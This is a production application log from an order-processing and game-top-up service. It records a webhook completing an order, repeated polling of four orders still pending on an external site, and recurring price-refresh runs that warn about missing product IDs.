[2026-03-24 03:07:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lMz-1774310860","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 03:07:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-lMz-1774310860","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 03:07:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 03:07:48] production.INFO: SendAcceptReject: Notification queued {"user_id":754,"notification_type":"order_approved","reference_id":178520} 
[2026-03-24 03:07:48] production.INFO: Order updated successfully. Order ID: 178520, Status: completed  
[2026-03-24 03:07:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lMz-1774310860","status":"completed","codes_count":0} 
[2026-03-24 03:07:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 754  
[2026-03-24 03:08:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02"} 
[2026-03-24 03:08:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:08:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:08:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:08:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:08:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:08:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:08:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:08:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:08:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:08:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:08:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"n12hL7x05xt45zbyNYXFudi5fpmJwTPX","execution_time":"2026-03-24 03:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:10:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02"} 
[2026-03-24 03:10:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:10:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:10:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:10:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:10:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:10:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:10:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:10:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"OfcVSTj5wirYJKToPilDcjNXIswcXRI5","execution_time":"2026-03-24 03:10:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:10:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:10:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:10:04] production.INFO: async() رجع: true  
[2026-03-24 03:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:10:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:10:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:10:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:12:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01"} 
[2026-03-24 03:12:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:12:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:12:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:12:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:12:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:12:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:12:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"edJ5KRQzHBsXdCkeac1vhDkfOGT6s388","execution_time":"2026-03-24 03:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01"} 
[2026-03-24 03:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","total_operations":4,"sites_count":1} 
[2026-03-24 03:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:14:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8S7OmJXlv6QdoVHjq3atRggkmktR0OyC","execution_time":"2026-03-24 03:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 03:15:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 03:15:03] production.INFO: async() رجع: true  
[2026-03-24 03:15:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02"} 
[2026-03-24 03:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"jApnEYxGCpxArA4H7Ax02MF08zmQ7pfA","execution_time":"2026-03-24 03:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02"} 
[2026-03-24 03:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:18:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"W6G9gbkKZJWNBpX1PAmffIlULkUsvAkd","execution_time":"2026-03-24 03:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02"} 
[2026-03-24 03:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:20:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:20:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"N36OpTm7z7ip3TBzxXQRXRpbiaqndL04","execution_time":"2026-03-24 03:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:20:05] production.INFO: async() رجع: true  
[2026-03-24 03:20:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:20:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:20:06] production.INFO: خلصت refreshPriceinsite()  
